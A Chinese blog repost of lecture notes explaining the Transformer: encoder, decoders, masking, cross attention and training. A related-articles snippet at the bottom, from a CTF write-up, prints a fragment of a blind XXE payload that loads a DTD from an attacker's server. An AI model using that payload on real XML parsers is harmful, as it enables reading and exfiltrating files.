【Transformer】——李宏毅机器学习笔记

news2024/11/18 15:37:29

Transformer

在这里插入图片描述

前言

transformer是一个sequence-to-sequence(seq2seq) 的 model
input a sequence,output a sequence.
The output length is determined by model.
例如
语音辨识:
在这里插入图片描述
那么为什么不能把以上三种模型结合起来,进行语音识别呢?
因为有一些语言根本没有文字。Language without text.

台语、闽南语(Hokkien),其方言一般人比较难懂。
所以我们期待说,机器可以做语音的翻译。
在这里插入图片描述
第四句上:机器在倒装的句子上没有学习起来。
在这里插入图片描述
语音辨识: 语音——>文字
语音合成: 文字——>语音
在这里插入图片描述
在文字上,也很广泛的使用了Seq2seq
在这里插入图片描述
关于语言处理更多的应用:
QA(Question Answering)
在这里插入图片描述
在某些问题上,你可能不认为它是seq2seq model的问题,但是你也可以用seq2seq model去硬解它。
例如:
Seq2seq for Syntactic Parsing
输出是一个树状的结构,但是可以硬把它看作一个序列结构
具体可以读 《Grammar as a Foreign Language》
在这里插入图片描述
Seq2seq for Multi-label Classification
一个东西可以属于多个class
例如,将一个文章丢到一个分类器中,分类器每次只能输出相同数目的答案,但是这个文章可以属于多个类别,且类别数不固定。这时可以使用seq2seq model硬做。
在这里插入图片描述
在这里插入图片描述
Seq2seq for Object Detection
例如:
给机器一张图片,让机器自动把斑马框起来
在这里插入图片描述

怎么做Seq2seq?

在这里插入图片描述
Seq2seq model的起源:《Sequence to Sequence Learning with Neural Networks》
在这里插入图片描述

Encoder

其所需要做的事情:给一排向量输出另外一排向量。
这个工作RNN、CNN也可以做。在Transformer 里面,用的encoder是self-attention。
在这里插入图片描述
架构解释:
encoder分成了很多个block,每一个block都是输入一排向量、输出一排向量。
注意:不要说每一个block是一个layer,因为一个block是好几个Layer组合。
在这里插入图片描述
事实上,在原来的transformer里面做的是更复杂的事情:
residual connection——残差网络
layer norm——不用考虑batch的资讯,直接去计算不同的维度,同一个example、不同feature的 mean和standard deviation。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
bert其实就是transformer的encoder

transformer的encoder不一定要这么设计,有更多好的设计:
在这里插入图片描述

Decoder——Autoregressive(AT)

Begin(Special Token)——ESO,代表开始,使用one-hot vector来表示。
decoder首先要读取encoder的输出。
decoder先会输出一个distribution,选取得分最大的值(概率)输出。
在这里插入图片描述
然后把“机”当做他的另一个输入,根据 BEGIN和“机” 来决定输出 “器”,然后过程反复持续下去。
issue:前一个输出错误会影响后续的输出,一步错步步错。 后续会讲如何避免这个问题,先无视这个问题。
在这里插入图片描述
在这里插入图片描述
将encoder和decoder部分比较一下,我们发现,把右边红框部分去掉,两者没有太大区别。
在这里插入图片描述

Masked Multi-Head Attention

decoder中Masked Multi-Head Attention中的Masked
不考虑右边input的资讯
在这里插入图片描述
在这里插入图片描述
为什么要加masked?
对decoder而言,是现有a1再有a2…,没有办法把后面的考虑起来。

—————————————————————分割线————————————————————

Adding “Stop Token”

Decoder必须自己决定input sequence的长度,但是我们不知道输出的正确的长度为多少。
在这里插入图片描述
因此 我们加入一个stop token:END(EOS)
在这里插入图片描述

Decoder——Non-autoregressive(NAT)

我们如何决定NAT的输出长度?
方法一:再设一个classifier,吃decoder的input,输出一个数字,代表NAT decoder的输出长度。
方法二:设置一个长度上限,找到END,直接忽略掉其右边的输出。

NAT优点:
(1)NAT可以平行化。AT不可以。因此在速度上NAT较快。
(2)比较可以控制其输出的长度。

NAT的表现往往不如AT。(Why?Muti-modality)

Cross attention

是连接encoder和decoder这一块的桥梁,两个输入k v来自encoder,一个输入query来自decoder
在这里插入图片描述
在这里插入图片描述

Training

在这里插入图片描述
我们希望所有的cross entropy的总和最小
Teacher Forcing:using the ground truth as input. 输出的时候告诉decoder正确答案
在这里插入图片描述

Scheduled Sampling

exposure bias:训练时decoder看到的是正确信息,测试时不是。但是如果训练时,decoder只看过正确的东西。则在测试时看到错误的东西的时候可能会导致整个结果坏掉,解决的方向:在训练的时候加入一些错误的东西。
在这里插入图片描述
但是传统的scheduled sampling会伤害到transform平行化的能力。具体参考以下文章。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/107188.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录拓展day3 922. 按奇偶排序数组II;24. 两两交换链表中的节点;234.回文链表;143.重排链表

代码随想录拓展day3 922. 按奇偶排序数组II;24. 两两交换链表中的节点;234.回文链表;35.搜索插入位置 数组和链表的题目。链表的操作几天没看又忘了,果然是要及时复习加反复复习。 922. 按奇偶排序数组II 922. 按奇偶排序数组 …

【小程序】宿主环境之通信模型和运行机制

目录 宿主环境 1. 什么是宿主环境 2. 小程序的宿主环境 通行模型 1. 通信的主体 2. 小程序的通信模型 运行机制 5. 小程序启动的过程 6. 页面渲染的过程 宿主环境 1. 什么是宿主环境 宿主环境(host environment)指的是程序运行所必须的依赖环…

论文笔记Point·E: A System for Generating 3D Point Clouds from Complex Prompts

之前的文本生成3D模型的方法生成一个模型需要多块GPU跑好几个小时,该文章提出的方法生成一个3D模型只需要单GPU1-2分钟。 该文章生成的3D模型的质量并不是当下最好的,但是生成速度很快,因此在现实中很有意义。 从文本生成3D模型的过程分为三…

Redis 对象

在 Redis底层数据结构介绍1 中我们介绍了Redis用到的所有主要数据结构,比如简单动态字符串(SDS)、双端链表、字典、压缩列表、整数集合等等。Redis并没有直接使用这些数据结构来实现键值对数据库,而是基于这些数据结构创建了一个对…

第7章 数据库设计和ER模型

第7章 数据库设计和ER模型 考试范围 7.1-7.7 考试题型:数据库设计题 考试内容: 掌握基本ER模型的概念与ER图的设计; 掌握将ER模型转换成关系模式的方法。 1、掌握基本ER模型的概念与ER图的设计 概念 E-R 模型是数据库设计中广泛使用的数…

2022-金盾信安杯

web 有来无回 考察xxe盲注 参考博客&#xff1a;https://blog.csdn.net/m0_49623330/article/details/113641498 <!ENTITY % a SYSTEM "http://vps/test.dtd"> %a; ] > 在自己服务器上编写dtd文件 <!ENTITY % dtd "<!ENTITY % hack SYSTEM ht…

零基础小白如何提高学Python的效率?

Python在所有的编成语言对小白来说是最友好的一种语言&#xff0c;简单、清晰、易学&#xff0c;但是有句话说万事开头难&#xff0c;对于很多连计算机基础都没有的伙伴来说&#xff0c;Python学习的效率极其低&#xff0c;这也导致了一部分放弃学习Python。 为了能够解决大家…

Android MAT的使用

下载与配置 MAT下载地址&#xff1a; Eclipse Memory Analyzer Open Source Project | The Eclipse Foundation JAVA 11下载地址&#xff1a; Java Downloads | Oracle 由于最新版的MAT还需要JAVA 11&#xff0c;所以还需要配置JAVA 11的环境。 JAVA 11环境配置&#xff…

ssm药店药品进销存管理系统idea maven mysql

任何系统都要遵循系统设计的基本流程&#xff0c;本系统也不例外&#xff0c;同样需要经过市场调研&#xff0c;需求分析&#xff0c;概要设计&#xff0c;详细设计&#xff0c;编码&#xff0c;测试这些步骤&#xff0c;基于JSP技术、SSM框架、B/S机构、Mysql数据库设计并实现…

【项目实战:核酸检测平台】第五章 众志诚城

本章目标 完成转运人员、接收人员、数据上传人员端 用到技术&#xff1a; EasyExcel、ElementUIPlus。lodop打印 概述 这一章要完成转运人员、接收人员、数据上传人员端的业务模块&#xff0c;从网上的资料我并没有找到相关的界面&#xff0c;没关系自己脑补就好了&#x…

React DAY05

复习&#xff1a; 1.JSX中的数据绑定 内容绑定&#xff1a;<div>{表达式}</div> 属性绑定&#xff1a;<img src{表达式}/> 样式绑定&#xff1a;<div className{表达式} style{样式对象}></div> 事件绑定&#xff1a;<button onClick{函数} …

跨境电商卖家:减少客户流失的 5 个最佳策略

关键词&#xff1a;跨境电商卖家、客户流失 跨境电商卖家获取新客户的成本可能比保留现有客户高出 25%。 这是有道理的&#xff1a;您可以花费数周时间研究如何让新客户进入您的业务&#xff0c;并投入大量时间和精力来制定完美的潜在客户生成策略&#xff0c;但如果无法留住合…

VMware创建Linux虚拟机之(五)Spark完全分布式部署教程

Hello&#xff0c;转眼间已到2022年底&#xff0c;学期末…… 总体来说&#xff0c;今年经历了很多&#xff0c;真正的成长了许多&#xff0c;成熟了许多。 只能说&#xff0c;希望&#xff0c;明天依旧美好&#xff01;&#xff01;&#xff01; &#x1f412;本篇博客使用到…

12 系统数据库和数据库工具

1. 系统数据库 Mysql数据库安装完成后会给我们初始化四个数据库&#xff1a; mysql&#xff1a;存储Mysql服务器正常运行所需要的各种信息&#xff08;市区、主从、用户、权限&#xff09;information_schema&#xff1a;提供了访问数据库元数据的各种表和视图&#xff0c;包…

SpringBoot之Redis整合

目录 在pom.xml中添加启动器 application.yml添加配置 API测试 存取字符串类型 存取哈希类型 等效操作redis 字符串类型 本人idea&#xff1a;2020.1.3 springboot&#xff1a;2.7.6 redis&#xff1a;5.0.14.1可用 在pom.xml中添加启动器 <dependency>…

北漂外卖小哥转行程序员,他说:想让家人过上更好的生活,扎心

前言&#xff1a; 对于程序员转行送外卖的新闻我们见得很多了&#xff0c;但是从一名外卖小哥转行做一名Python程序员的新闻&#xff0c;反倒见的很少&#xff0c;但是每年转行做程序员的人大有人在。 朋友16年本科毕业后就开始自己创业&#xff0c;1年后创业失败了&#xff…

SOT23-6 领夹麦克风PD OTG协议芯片

一、简介 目前主流的无线麦克风&#xff0c;或者主播麦克风等等产品&#xff0c;在无线端的技术&#xff0c;基本上就是围绕这三个方向 1、U段方案&#xff0c;这个是最古老&#xff0c;也是应用最多的方案&#xff0c;缺点就是功耗高&#xff0c;成本高 2、非标准的2.4G方案…

第3章 SQL语言

第3章 SQL语言 考试范围&#xff1a; 3.1-3.10 考试题型&#xff1a;计算题 考试内容&#xff1a; &#xff08;可按标准sql、mysql的语法格式来写SQL语句&#xff0c;考试时要求有无明显语法错误&#xff09; Select Insert Delete Update create table alter table …

vTESTstudio入门到精通 - vTESTstudio工具栏介绍_Tools

今天即将介绍一个非常有用的工具栏 - Tool&#xff0c;它可以可视化创建、编辑我们车载网络中常用的dbc、Autosar系统描述文件、LDF、FIBEX、CANdelaStudio、Car2x数据库等文件&#xff0c;基本涵盖了我们用到的所有&#xff0c;大家非常有必要详细的了解下&#xff0c;在有需要…

干扰管理学习日志9-------强化学习_联邦学习_功率分配

目录一、文章概述二、系统环境三、理论模型1.系统目标2.公式推导四、应用算法1.顶层设计2.强化学习(1)输入状态(2)输出动作(3)环境反馈3.联邦学习4.伪代码五、性能表征1.泛化性本文是对论文《Transmit Power Control for Indoor Small Cells: A Method Based on Federated Rein…